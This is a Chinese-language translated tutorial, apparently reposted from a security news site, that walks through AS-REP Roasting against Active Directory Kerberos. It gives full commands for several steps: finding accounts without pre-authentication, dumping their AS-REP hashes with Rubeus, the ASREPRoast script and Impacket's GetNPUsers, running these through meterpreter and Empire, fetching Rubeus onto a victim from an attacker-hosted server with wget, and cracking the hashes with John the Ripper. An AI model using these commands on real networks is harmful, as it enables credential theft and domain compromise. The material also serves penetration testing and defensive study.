AS-REP Roasting攻击
2020-05-17 11:20:00 Author: www.4hou.com(查看原文) 阅读量:446 收藏

在上一篇文章中,我们讲到了黄金票据攻击berberoast,和kerberos爆破等多种方式来攻击kerberos协议。

今天我们再来讲一种针对kerberos协议的攻击,也就是AS-REP Roasting技术。

所需工具:

Rebeus.exe

ASREPRoast PowerShell脚本

Impacket 

AS-REP Roasting

这是一种针对kerberos协议的攻击技术,不需要认证就可以获取到用户的密码hash值。如果用户开启了“不使用Kerberos预认证”,攻击者就可以获取到Kerberos AS-REP,经过用户的RC4-HMAC密码加密过的,然后他就可以离线破解这个凭证了。

身份预认证是kerberos认证的第一步,通常是由KDC认证服务器来管理,目的是为了防止暴力破解攻击。

AS-REP Roasting Kerberoasting和黄金票据的区别

如果你觉得这三种攻击方式理解起来容易混淆,那我这里就以一种简单的方式来解释一下:

· AS-REP Roasting:获取用户hash然后离线暴力破解

· Kerberoasting:获取应用服务hash然后暴力破解

· 黄金票据:通过假冒域中不存在的用户来访问应用服务

默认情况下,Do Not Require Pre-Authentication对于域用户来说是禁用的。

 0.jpg 

这里,因为我们需要测试AS-REP Roasting攻击,所以开启用户的这个选项。当这些攻击条件都准备好之后,你就可以进一步利用更多工具来发起针对kerberos的AS-REP Roasting攻击了。 

 1.png

在你的本地系统上,利用下面这条powershell命令,可以很容易遍历出哪些用户开启了“Do not require pre-authentication”

Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name

2.png

下面开始实战

攻击本地主机

首先我们来下载Rebeus.exe这个工具,这款工具很强,而且使用也很简单,可以直接在受害主机的本地环境下运行,下载地址如下:

https://github.com/GhostPack/Rubeus

用法示例:

Rubeus.exe asreproast

下载完成后,运行上面这条命令,会得到用户账户的hash值,这个key值用于加密时间戳。将这个值保存下来进行离线爆破密码

3.png

可以看到事件ID为4678的TGT请求已生成日志

4.png 

接着我们执行下面这条命令:

Rubeus.exe asreproast /format:john /outfile: hashes.txt

这条命令会将提取到的hash值存储到一个txt文件中,存储格式是John这款工具可以破解的格式。

5.png

现在,我们来试试破解hash值并提取密码,我们这里就用John the ripper这款工具来破解:

6.png

ASREPRoast PowerShell Script

这个ASREPRoast脚本,也可以用来发起攻击,我们先下载脚本,然后导入到powershell中,接着执行以下命令就可以提取出带有AS-REP消息的用户hash值:

Import-Module .\ASREPRoast.ps1
Invoke-ASREPRoast
Invoke-ASREPRoast | select -ExpandProperty Hash

上述命令执行之后,你就可以提取到用户hash,如果你想保存到文件中,可以使用下面这条命令:

Invoke-ASREPRoast | select -ExpandProperty Hash > hashdump

提取到hash值后,你就可以跟上面一样来破解密码了:

7.png

攻击远程主机

如果你很喜欢用msf,而且想要远程完成整个攻击,你需要先获得受害主机的meterpreter会话,这样就可以加载powershell并上传“ASREPRoast” powershell脚本,然后再meterpreter会话中执行以下命令:

upload /root ASREPROAST.ps1
powershell
Import-Module .\ASREPRoast.ps1
Invoke-ASREPRoast

拿到hash值后,你就可以进行密码爆破了。

8.png

Powershell Empire

如果你喜欢使用Powershell Empire这个框架,并且想通过Empire这个框架发起ASREPRoast攻击,首先你得拿下一台机器,获得agent会话,然后运行下面这个模块来查看“PreauthNotRequired ”选项有没有勾选。

usemodule situational_awareness/network/powerview/get_user

9.png

然后将rebeus.exe下载到你的kali上,然后上传到受害主机上。

10.png

shell wget http://192.168.1.112:8000/Rebeus.exe -outfile rubeus.exe
shell .\Rubeus.exe asreproast

执行之后,就可以获得hash值,接下俩就可以进行爆破了。

11.png

Impacket

GetNPUsers.py这个脚本是Impacket工具套件中的其中一个,它可以列举出哪些用户设置了“Do not require Kerberos pre-authentication”,并获得TGTs。同样的,你也可以保存hash到文件中,然后利用John the ripper进行破解,如下图:

python GetNPUsers.py -dc-ip 192.168.1.105 ignite.local/ -usersfile users.txt -format john -outputfile hashes
john –wordlist=/usr/share/wordlists/rockyou.txt hashes

12.png

好了,各位表哥们,分享就到这里,实战才是硬道理,希望各位表哥们多多实战。

本文翻译自:https://www.hackingarticles.in/as-rep-roasting/如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/ZpYE
如有侵权请联系:admin#unsafe.sh